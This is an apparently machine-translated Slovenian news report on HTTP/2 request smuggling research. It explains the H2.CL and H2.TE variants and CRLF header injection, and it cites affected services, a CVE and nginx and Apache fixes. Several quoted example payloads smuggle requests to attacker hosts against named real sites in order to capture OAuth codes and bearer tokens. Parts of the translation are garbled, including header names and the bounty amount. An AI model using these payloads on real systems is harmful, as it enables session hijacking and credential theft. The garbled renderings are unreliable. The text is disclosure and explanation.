Nov napad na sisteme front-end-backend, ki vam omogoča, da se zataknete v zahteve

Spletni sistemi, v katerih frontend sprejema povezave prek HTTP/2 in posreduje v zaledje prek HTTP/1.1, so bili izpostavljeni novi različici napada HTTP Request Smuggling, ki omogoča s pošiljanjem posebej zasnovanih zahtev odjemalcev vtikanje v vsebino. zahtev drugih uporabnikov, obdelanih v istem toku med sprednjim in zadnjim delom. Napad je mogoče uporabiti za vstavljanje zlonamerne kode JavaScript v sejo z zakonitim mestom, zaobiti sisteme za nadzor dostopa in prestrezanje parametrov za preverjanje pristnosti.

Težava vpliva na spletne posrednike, izravnalnike obremenitve, spletne pospeševalnike, sisteme za dostavo vsebine in druge konfiguracije, v katerih so zahteve preusmerjene v skladu s shemo front-end-backend. Avtor študije je dokazal sposobnost napada na sisteme Netflix, Verizon, Bitbucket, Netlify CDN in Atlassian ter prejel 56 $ v programih za nagrado za ranljivost. Težava je bila potrjena tudi v izdelkih F5 Networks. Težava delno vpliva na mod_proxy v strežniku Apache http (CVE-2021-33193), popravek se pričakuje v različici 2.4.49 (razvijalci so bili o težavi obveščeni v začetku maja in so prejeli 3 mesece, da jo popravijo). V nginxu je bila zmožnost hkratnega podajanja glav »Content-Length« in »Transfer-Encoding« blokirana v zadnji izdaji (1.21.1). Orodja za napade so že dodana kompletu orodij Burp in so na voljo kot razširitev Turbo Intruder.

Princip delovanja nove metode zagozdenja zahtev v promet je podoben ranljivosti, ki jo je isti raziskovalec identificiral pred dvema letoma, vendar je omejen na vmesnike, ki sprejemajo zahteve prek HTTP/1.1. Spomnimo se, da v shemi frontend-backend zahteve odjemalcev prejme dodatno vozlišče - frontend, ki vzpostavi dolgotrajno povezavo TCP z zaledjem, ki neposredno obdeluje zahteve. Preko te skupne povezave se navadno prenašajo zahteve različnih uporabnikov, ki sledijo verigi druga za drugo, ločene s protokolom HTTP.

Klasični napad »HTTP Request Smuggling« je temeljil na dejstvu, da čelni in zadnji del razlagata uporabo glav HTTP »Content-Length« (določa skupno velikost podatkov v zahtevi) in »Transfer-Encoding: chunked« ( omogoča prenos podatkov po delih) drugače . Na primer, če vmesnik podpira samo »Content-Length«, vendar ignorira »Transfer-Encoding: chunked«, lahko napadalec pošlje zahtevo, ki vsebujeta glavi »Content-Length« in »Transfer-Encoding: chunked«, vendar velikost "Content-Length" se ne ujema z velikostjo razrezane verige. V tem primeru bo sprednji del obdelal in preusmeril zahtevo glede na "Content-Length", zadnji del pa bo počakal, da se blok zaključi na podlagi "Transfer-Encoding: chunked" in preostali del napadalčeve zahteve bo na začetku tuje zahteve, poslane naslednje.

Za razliko od besedilnega protokola HTTP/1.1, ki je razčlenjen na ravni vrstice, je HTTP/2 binarni protokol in manipulira s podatkovnimi bloki vnaprej določene velikosti. Vendar pa HTTP/2 uporablja psevdoglave, ki ustrezajo običajnim glavam HTTP. Pri interakciji z zaledjem prek HTTP/1.1 sprednji del te psevdoglave prevede v podobne glave HTTP/1.1 HTTP. Težava je v tem, da zaledje sprejema odločitve o razčlenjevanju toka na podlagi glav HTTP, ki jih nastavi sprednji del, ne da bi poznal parametre prvotne zahteve.

Vključno v obliki psevdo-glav se lahko prenesejo vrednosti "content-length" in "transfer-encoding", kljub dejstvu, da se ne uporabljajo v HTTP / 2, saj je velikost vseh podatkov določena v ločeno polje. Vendar se v procesu pretvorbe zahteve HTTP/2 v HTTP/1.1 te glave prenesejo in lahko zmedejo zaledje. Obstajata dve glavni možnosti napada: H2.TE in H2.CL, pri katerih je zaledje zavedeno z nepravilnim kodiranjem prenosa ali vrednostjo dolžine vsebine, ki ne ustreza dejanski velikosti telesa zahteve, ki ga prejme sprednji del prek HTTP / 2 protokol.

Nov napad na sisteme front-end-backend, ki vam omogoča, da se zataknete v zahteve

Kot primer napada H2.CL je psevdoglava dolžine vsebine napačno oblikovana pri pošiljanju zahteve HTTP/2 Netflixu. Rezultat te zahteve je dodana podobna glava HTTP Content-Length pri dostopu do zaledja prek HTTP/1.1, a ker je velikost v Content-Length manjša od dejanske velikosti, se nekateri podatki v repu obdelajo kot začetek naslednje zahteve.

Na primer, zahteva HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Poslal bo zahtevo v zaledje: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Ker je Content-Length nastavljena na 4, bo zaledje sprejelo samo »abcd« kot telo zahteve in obdelalo preostali del »GET /n HTTP/1.1…« kot začetek naslednje zahteve, vezane na drugega uporabnika. V skladu s tem bo tok nesinhroniziran in kot odgovor na naslednjo zahtevo bo vrnjen rezultat obdelave lažne zahteve. V primeru Netflixa je navedba gostitelja tretje osebe v glavi »Host:« v lažni zahtevi povzročila odgovor »Lokacija: https://02.rs?x.netflix.com/n« odjemalcu in dovolili posredovanje poljubne vsebine odjemalcu, vključno z izvajanjem vaše kode JavaScript v kontekstu spletnega mesta Netflix.

Druga različica napada (H2.TE) je povezana z zamenjavo glave "Transfer-Encoding: chunked". Uporaba psevdoglavja za kodiranje prenosa v HTTP/2 je prepovedana s specifikacijo, zahteve z njim pa je predpisano obravnavati kot nepravilne. Kljub temu nekatere implementacije sprednjega dela ignorirajo to zahtevo in dovoljujejo uporabo psevdo-glave za kodiranje prenosa v HTTP/2, ki se prevede v podobno glavo HTTP. Če je prisotna glava »Transfer-Encoding«, jo lahko zaledje vzame kot prednostno in razčleni podatke po delih v načinu »chunked« z uporabo blokov različnih velikosti v formatu »{size}\r\n{block} \r\n{velikost} \r\n{blok}\r\n0" kljub začetni delitvi po celotni velikosti.

Prisotnost takšne vrzeli je pokazala primer Verizona. Vendar se je težava nanašala na portal za preverjanje pristnosti in sistem za upravljanje vsebine, ki ga uporabljajo tudi strani, kot sta Huffington Post in Engadget. Na primer, zahteva odjemalca prek HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Gostitelj: psres.net Content-Length: 10 x=

Povzročena zahteva HTTP/1.1 za zaledje: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content- Length : 10x=

Zaledje pa je prezrlo glavo »Content-Length« in izvedlo razdelitev v toku na podlagi »Transfer-Encoding: chunked«. V praksi je napad omogočil preusmeritev uporabniških zahtev na vaše spletno mesto, vključno s prestrezanjem zahtev, povezanih z avtentikacijo OAuth, katerih parametri so bili prikazani v glavi Referer, pa tudi s simulacijo avtentikacijske seje in sprožitvijo pošiljanja uporabniških poverilnic v gostitelj napadalca. GET /b2blanding/show/oops HTTP/1.1 Gostitelj: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Gostitelj: psres.net Avtorizacija: nosilec eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Za napad na implementacije HTTP/2, ki ne dovoljujejo določanja psevdo-glave za kodiranje prenosa, je bila predlagana druga metoda, ki vključuje zamenjavo glave "Transfer-Encoding" tako, da jo pritrdite na druge psevdo-glave, ločene z znakom za novo vrstico (ko je pretvorjena v HTTP/1.1, se v tem primeru ustvarita dve ločeni glavi HTTP).

Ta težava je na primer prizadela Atlassian Jira in Netlify CDN (ki se uporablja za streženje začetne strani Mozille v Firefoxu). Natančneje, zahteva HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Gostitelj : evil-netlify-domain\r\n Dolžina vsebine: 5\r\n \r\nx=

povzročilo pošiljanje zahteve HTTP/1.1 POST / HTTP/1.1 v zaledje\r\n Gostitelj: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content- Dolžina: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Gostitelj: evil-netlify-domain\r\n Dolžina vsebine: 5\r\n \ r\nx=

Druga možnost za zamenjavo glave "Transfer-Encoding" je bila pripenjanje k imenu druge psevdo-glave ali k nizu z metodo zahteve. Na primer, pri dostopu do Atlassian Jira je ime psevdo-glave "foo: bar\r\ntransfer-encoding" z vrednostjo "chunked" povzročilo dodajanje glav HTTP "foo: bar" in "transfer-encoding : chunked«, navedba vrednosti »GET / HTTP/1.1\r\nTransfer-encoding: chunked« v psevdoglavi »:method« pa je bila prevedena v »GET / HTTP/1.1\r\ntransfer-encoding: chunked« .

Raziskovalec, ki je odkril težavo, je predlagal tudi tehniko tuneliranja zahtev za napad na sprednje strani, pri kateri se za vsak naslov IP vzpostavi ločena povezava z zadnjim delom in se promet različnih uporabnikov ne meša. Predlagana tehnika vam ne dovoljuje poseganja v zahteve drugih uporabnikov, vendar omogoča zastrupitev skupnega predpomnilnika, kar vpliva na obdelavo drugih zahtev, in vam omogoča, da izvedete zamenjavo notranjih glav HTTP, ki se uporabljajo za prenos informacij o storitvi iz čelni del v zaledje (pri preverjanju pristnosti na sprednji strani lahko na primer v takih glavah v zaledje pošlje informacije o trenutnem uporabniku). Kot primer uporabe metode v praksi je bilo z zastrupitvijo predpomnilnika mogoče pridobiti nadzor nad stranmi v storitvi Bitbucket.

Vir: opennet.ru

Dodaj komentar